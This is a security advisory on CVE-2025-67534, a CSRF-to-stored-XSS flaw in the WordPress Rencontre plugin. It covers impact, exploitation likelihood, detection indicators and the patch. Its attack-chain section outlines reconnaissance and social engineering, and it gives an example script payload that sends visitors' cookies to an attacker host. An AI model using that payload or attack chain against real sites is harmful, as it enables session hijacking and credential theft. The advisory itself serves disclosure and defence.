CVE-2025-67534: 
WordPress vulnerability analysis and mitigation

CVE-2025-67534 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress Rencontre plugin by Jacques Malgrange that enables Stored Cross-Site Scripting (XSS). It affects all versions of the plugin up to and including 3.13.7. The vulnerability was reported by researcher Skalucy on October 31, 2025, published by Patchstack on November 30, 2025, and assigned a CVE on December 9, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack).

The vulnerability is classified as CWE-352 (Cross-Site Request Forgery), where the Rencontre plugin fails to properly validate or enforce anti-CSRF tokens on sensitive state-changing requests. This allows an unauthenticated attacker to craft a malicious request that, when executed by an authenticated privileged user (e.g., an administrator), stores malicious JavaScript in the WordPress database — resulting in Stored XSS. Exploitation requires social engineering to trick a logged-in user into visiting a crafted page or clicking a malicious link, after which the stored payload executes in the browsers of subsequent site visitors or administrators (Patchstack).

Successful exploitation allows an attacker to persistently inject malicious JavaScript into the WordPress site, which executes in the context of any user who views the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious destinations. The confidentiality impact is rated High (sensitive data exposure), with a Low integrity impact, and no direct availability impact (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-67534. The EPSS score is extremely low at 0.000080, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority, noting it is unlikely to be exploited, though CSRF-based vulnerabilities of this type are sometimes used in mass-exploit campaigns targeting WordPress plugins (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Rencontre plugin version 3.13.7 or earlier using tools like WPScan or Shodan.
2. Craft malicious request: Construct a forged HTTP request targeting a Rencontre plugin endpoint that accepts user-supplied input without CSRF token validation, embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Social engineering: Deliver the malicious request via a crafted HTML page or link to a logged-in privileged WordPress user (e.g., administrator), inducing them to visit the page or submit a form.
4. Payload stored: The forged request is processed under the victim's authenticated session, causing the malicious script to be stored in the WordPress database.
5. XSS execution: Any user or administrator who subsequently views the affected page triggers the stored JavaScript, enabling session hijacking, credential theft, or further compromise (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to Rencontre plugin endpoints from unusual referrers or external origins; repeated form submissions from unauthenticated or low-privilege sessions.
• Database: Unexpected JavaScript tags or encoded script content stored in Rencontre plugin database tables or WordPress options/post meta associated with the plugin.
• Network: Outbound connections from site visitors' browsers to unknown external domains shortly after visiting pages with Rencontre plugin content, potentially indicating XSS payload execution.
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than the file system.

The vendor has released version 3.13.8 of the Rencontre plugin, which patches this vulnerability. Site administrators should update the plugin to version 3.13.8 or later immediately via the WordPress admin dashboard or by downloading the updated plugin from the WordPress plugin repository. If an immediate update is not possible, consider temporarily deactivating the plugin or restricting access to the WordPress admin area. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).

Patchstack, which coordinated the disclosure, classifies this vulnerability as low priority with no impactful threat, noting it is unlikely to be exploited in practice. The vulnerability was credited to researcher Skalucy. No significant broader media coverage or notable researcher commentary beyond the Patchstack advisory has been identified (Patchstack).